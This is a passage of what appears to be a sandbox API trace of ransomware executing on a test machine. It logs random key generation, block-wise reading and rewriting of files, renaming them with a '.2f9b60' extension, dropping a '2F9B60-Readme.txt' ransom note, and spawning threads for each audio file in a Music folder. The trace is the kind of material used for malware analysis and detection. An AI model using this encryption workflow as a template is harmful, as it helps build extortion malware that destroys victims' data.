Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0xf637b8e [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x597a4066 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x67101b13 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x1aa28f72 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0xc2a333e [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x61e4447c [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x76844e45 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x4b302435 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x569e71a2 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x2cdd128b [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x1cd4634c [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x64e6b1e3 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x20a1c83d [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x5726b59c [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x495fdccd [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x76657ef4 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x1936cd28 [0152.019] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x6563cc22 [0152.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205007a0 [0152.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0152.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205007d0 [0152.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0152.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500770) returned 1 [0152.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205006b0) returned 1 [0152.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425a69f0 [0152.027] SetFilePointerEx (in: hFile=0x25b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.027] ReadFile (in: hFile=0x25b8, lpBuffer=0x425a69f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3970f650, lpOverlapped=0x0 | out: lpBuffer=0x425a69f0*, lpNumberOfBytesRead=0x3970f650*=0x3c00, lpOverlapped=0x0) returned 1 [0152.027] SetFilePointerEx (in: hFile=0x25b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0152.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0152.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205006b0 [0152.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205006b0) returned 1 [0152.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425aa600 [0152.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205006b0 [0152.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500770 [0152.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500770) returned 1 [0152.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0152.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0152.029] WriteFile (in: hFile=0x25b8, lpBuffer=0x425aa600*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3970f650, lpOverlapped=0x0 | out: lpBuffer=0x425aa600*, lpNumberOfBytesWritten=0x3970f650*=0x3c00, lpOverlapped=0x0) returned 1 [0162.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425aa600) returned 1 [0162.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425a69f0) returned 1 [0162.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9ef70 [0162.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18aa0 [0162.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce248a0 [0162.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19a70 [0162.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19a70) returned 1 [0162.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cda06f0 [0162.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19a70 [0162.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19aa0 [0162.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19aa0) returned 1 [0162.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce248a0) returned 1 [0162.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18aa0) returned 1 [0162.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x42c24090 [0162.974] SetFilePointerEx (in: hFile=0x25b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.974] WriteFile (in: hFile=0x25b8, lpBuffer=0x42c24090*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3970f700, lpOverlapped=0x0 | out: lpBuffer=0x42c24090*, lpNumberOfBytesWritten=0x3970f700*=0x118, lpOverlapped=0x0) returned 1 [0164.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc080 [0164.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc080) returned 1 [0164.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cddc080 [0164.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc050 [0164.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbf90 [0164.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbf90) returned 1 [0164.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86850 [0164.878] sprintf (in: _Dest=0x1cd86850, _Format="%c%c" | out: _Dest="30") returned 2 [0164.878] sprintf (in: _Dest=0x1cd86852, _Format="%c%c" | out: _Dest="6f") returned 2 [0164.878] sprintf (in: _Dest=0x1cd86854, _Format="%c%c" | out: _Dest="4b") returned 2 [0164.878] sprintf (in: _Dest=0x1cd86856, _Format="%c%c" | out: _Dest="61") returned 2 [0164.878] sprintf (in: _Dest=0x1cd86858, _Format="%c%c" | out: _Dest="90") returned 2 [0164.878] sprintf (in: _Dest=0x1cd8685a, _Format="%c%c" | out: _Dest="db") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8685c, _Format="%c%c" | out: _Dest="35") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8685e, _Format="%c%c" | out: _Dest="f4") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86860, _Format="%c%c" | out: _Dest="3d") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86862, _Format="%c%c" | out: _Dest="c5") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86864, _Format="%c%c" | out: _Dest="f7") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86866, _Format="%c%c" | out: _Dest="73") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86868, _Format="%c%c" | out: _Dest="8c") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8686a, _Format="%c%c" | out: _Dest="2e") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8686c, _Format="%c%c" | out: _Dest="7e") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8686e, _Format="%c%c" | out: _Dest="52") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86870, _Format="%c%c" | out: _Dest="c8") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86872, _Format="%c%c" | out: _Dest="8b") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86874, _Format="%c%c" | out: _Dest="72") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86876, _Format="%c%c" | out: _Dest="03") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86878, _Format="%c%c" | out: _Dest="5c") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8687a, _Format="%c%c" | out: _Dest="e8") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8687c, _Format="%c%c" | out: _Dest="8f") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8687e, _Format="%c%c" | out: _Dest="f3") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86880, _Format="%c%c" | out: _Dest="52") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86882, _Format="%c%c" | out: _Dest="2f") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86884, _Format="%c%c" | out: _Dest="83") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86886, _Format="%c%c" | out: _Dest="09") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86888, _Format="%c%c" | out: _Dest="aa") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8688a, _Format="%c%c" | out: _Dest="64") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8688c, _Format="%c%c" | out: _Dest="c3") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8688e, _Format="%c%c" | out: _Dest="92") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86890, _Format="%c%c" | out: _Dest="6c") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86892, _Format="%c%c" | out: _Dest="92") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86894, _Format="%c%c" | out: _Dest="8f") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86896, _Format="%c%c" | out: _Dest="20") returned 2 [0164.879] sprintf (in: _Dest=0x1cd86898, _Format="%c%c" | out: _Dest="a8") returned 2 [0164.879] sprintf (in: _Dest=0x1cd8689a, _Format="%c%c" | out: _Dest="05") returned 2 [0164.879] RtlInitAnsiString (in: DestinationString=0x3970f778, SourceString="306f4b6190db35f43dc5f7738c2e7e52c88b72035ce88ff3522f8309aa64c3926c928f20a805" | out: DestinationString="306f4b6190db35f43dc5f7738c2e7e52c88b72035ce88ff3522f8309aa64c3926c928f20a805") [0164.880] RtlAnsiStringToUnicodeString (in: DestinationString=0x3970f748, SourceString="306f4b6190db35f43dc5f7738c2e7e52c88b72035ce88ff3522f8309aa64c3926c928f20a805", AllocateDestinationString=1 | out: DestinationString="306f4b6190db35f43dc5f7738c2e7e52c88b72035ce88ff3522f8309aa64c3926c928f20a805") returned 0x0 [0164.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c660 [0164.880] RtlFreeAnsiString (AnsiString="3") [0164.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86850) returned 1 [0164.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc080) returned 1 [0164.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc050) returned 1 [0164.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c24090) returned 1 [0164.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda06f0) returned 1 [0164.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19a70) returned 1 [0164.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef70) returned 1 [0164.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205006b0) returned 1 [0164.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500740) returned 1 [0164.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205007a0) returned 1 [0164.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205007d0) returned 1 [0164.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4205ee80 [0164.883] wcscat (in: _Dest=0x4205ee80, _Source="306f4b6190db35f43dc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\306f4b6190db35f43dc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\306f4b6190db35f43dc" [0164.883] wcscat (in: _Dest=0x4205ee80, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\306f4b6190db35f43dc.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\306f4b6190db35f43dc.2f9b60" [0164.883] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\306f4b6190db35f43dc.2f9b60", NtPathName=0x3970f720, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\306f4b6190db35f43dc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b799610 [0165.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799610) returned 1 [0165.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c33ad0) returned 1 [0165.025] NtQueryInformationFile (in: FileHandle=0x25b8, IoStatusBlock=0x3970f788, FileInformation=0x3970f798, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3970f788, FileInformation=0x3970f798) returned 0x0 [0165.025] NtSetInformationFile (FileHandle=0x25b8, IoStatusBlock=0x3970f788, FileInformation=0x3970f798, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ee80) returned 1 [0165.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c660) returned 1 [0165.056] FlushFileBuffers (hFile=0x25b8) returned 1 [0166.263] CloseHandle (hObject=0x25b8) returned 1 [0183.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279370 [0183.939] wcscpy (in: _Dest=0x20279370, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0183.939] wcscat (in: _Dest=0x20279370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" [0183.939] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\2f9b60-readme.txt")) returned 0xffffffff [0183.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d98 [0192.678] WriteFile (in: hFile=0x2d98, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3970f640, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3970f640*=0xba9, lpOverlapped=0x0) returned 1 [0203.994] CloseHandle (hObject=0x2d98) returned 1 [0207.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 [0207.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106a00) returned 1 [0207.887] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc866d60, ftCreationTime.dwHighDateTime=0x1d5e321, ftLastAccessTime.dwLowDateTime=0x5427cd00, ftLastAccessTime.dwHighDateTime=0x1d5de42, ftLastWriteTime.dwLowDateTime=0x5427cd00, ftLastWriteTime.dwHighDateTime=0x1d5de42, nFileSizeHigh=0x0, nFileSizeLow=0x1ce5, dwReserved0=0x0, dwReserved1=0x0, cFileName="8D8V8v4y.m4a", cAlternateFileName="")) returned 1 [0207.887] wcscmp (_String1="8D8V8v4y.m4a", _String2=".") returned 1 [0207.887] wcscmp (_String1="8D8V8v4y.m4a", _String2="..") returned 1 [0207.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43145c70 [0207.887] wcscpy (in: _Dest=0x43145c70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" [0207.887] wcscat (in: _Dest=0x43145c70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0207.887] wcscat (in: _Dest=0x43145c70, _Source="8D8V8v4y.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\8D8V8v4y.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\8D8V8v4y.m4a" [0209.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43145c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740 [0209.251] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffa9cd0, ftCreationTime.dwHighDateTime=0x1d5e618, ftLastAccessTime.dwLowDateTime=0x1be83f90, ftLastAccessTime.dwHighDateTime=0x1d5db5b, ftLastWriteTime.dwLowDateTime=0x1be83f90, ftLastWriteTime.dwHighDateTime=0x1d5db5b, nFileSizeHigh=0x0, nFileSizeLow=0x127af, dwReserved0=0x0, dwReserved1=0x0, cFileName="B7JXNZH.mp3", cAlternateFileName="")) returned 1 [0209.251] wcscmp (_String1="B7JXNZH.mp3", _String2=".") returned 1 [0209.251] wcscmp (_String1="B7JXNZH.mp3", _String2="..") returned 1 [0209.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce165b0 [0209.253] wcscpy (in: _Dest=0x1ce165b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" [0209.254] wcscat (in: _Dest=0x1ce165b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0209.254] wcscat (in: _Dest=0x1ce165b0, _Source="B7JXNZH.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\B7JXNZH.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\B7JXNZH.mp3" [0209.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce165b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b8 [0209.254] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3589ee0, ftCreationTime.dwHighDateTime=0x1d5d815, ftLastAccessTime.dwLowDateTime=0x7efedd20, ftLastAccessTime.dwHighDateTime=0x1d5dc3f, ftLastWriteTime.dwLowDateTime=0x7efedd20, ftLastWriteTime.dwHighDateTime=0x1d5dc3f, nFileSizeHigh=0x0, nFileSizeLow=0x16047, dwReserved0=0x0, dwReserved1=0x0, cFileName="eXG_Zxj5ZAN.wav", cAlternateFileName="EXG_ZX~1.WAV")) returned 1 [0209.254] wcscmp (_String1="eXG_Zxj5ZAN.wav", _String2=".") returned 1 [0209.254] wcscmp (_String1="eXG_Zxj5ZAN.wav", _String2="..") returned 1 [0209.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce16660 [0209.255] wcscpy (in: _Dest=0x1ce16660, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo" [0209.255] wcscat (in: _Dest=0x1ce16660, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0209.255] wcscat (in: _Dest=0x1ce16660, _Source="eXG_Zxj5ZAN.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\eXG_Zxj5ZAN.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\eXG_Zxj5ZAN.wav" [0209.256] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\eXG_Zxj5ZAN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\exg_zxj5zan.wav")) returned 0x20 [0209.256] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\eXG_Zxj5ZAN.wav", dwFileAttributes=0x20) returned 1 [0209.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\eXG_Zxj5ZAN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\exg_zxj5zan.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17d8 [0209.258] GetFileSizeEx (in: hFile=0x17d8, lpFileSize=0x3970f730 | out: lpFileSize=0x3970f730*=90183) returned 1 [0209.258] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x16043, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.258] ReadFile (in: hFile=0x17d8, lpBuffer=0x3970f6b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3970f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3970f6b0*, lpNumberOfBytesRead=0x3970f6f8*=0x4, lpOverlapped=0x0) returned 1 [0209.259] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0209.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa560 [0209.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0209.261] NtQuerySystemTime (in: CurrentTime=0x3970f5f0 | out: CurrentTime=0x3970f5f0*=132462178141330000) returned 0x0 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0xcbb6701 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x5822390a [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x4cbf60e [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x4c79437a [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x1d62eedc [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x472635b4 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x6365e267 [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x338d2f1e [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x4b5c75bd [0209.261] RtlRandomEx (in: Seed=0x3970f5e0 | out: Seed=0x3970f5e0) returned 0x186c1fec [0209.261] RtlRandomEx (in: 